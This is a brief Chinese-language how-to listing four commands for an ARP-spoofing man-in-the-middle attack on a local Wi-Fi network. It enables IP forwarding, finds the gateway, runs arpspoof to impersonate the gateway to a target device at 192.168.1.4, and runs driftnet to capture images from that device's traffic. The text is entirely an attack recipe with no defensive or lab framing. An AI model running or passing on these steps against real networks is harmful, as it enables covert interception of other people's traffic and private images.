``1.设置允许设备通过自己网卡联网
echo 1 >/proc/sys/net/ipv4/ip_forward
2.获取网关
netstat -rn(注意网关要与设备名相符)
3…arp欺骗
arpspoof -i wlan0(interface) -t 192.168.1.1 (网关Gateway)192.168.1.4)(target ip)
4.获取图片
driftnet -i wlan0(这个需要另开一个窗口)
注:wlan0为我的电脑网卡,192.168.1.4为目标ip,192.168.1.1为网关。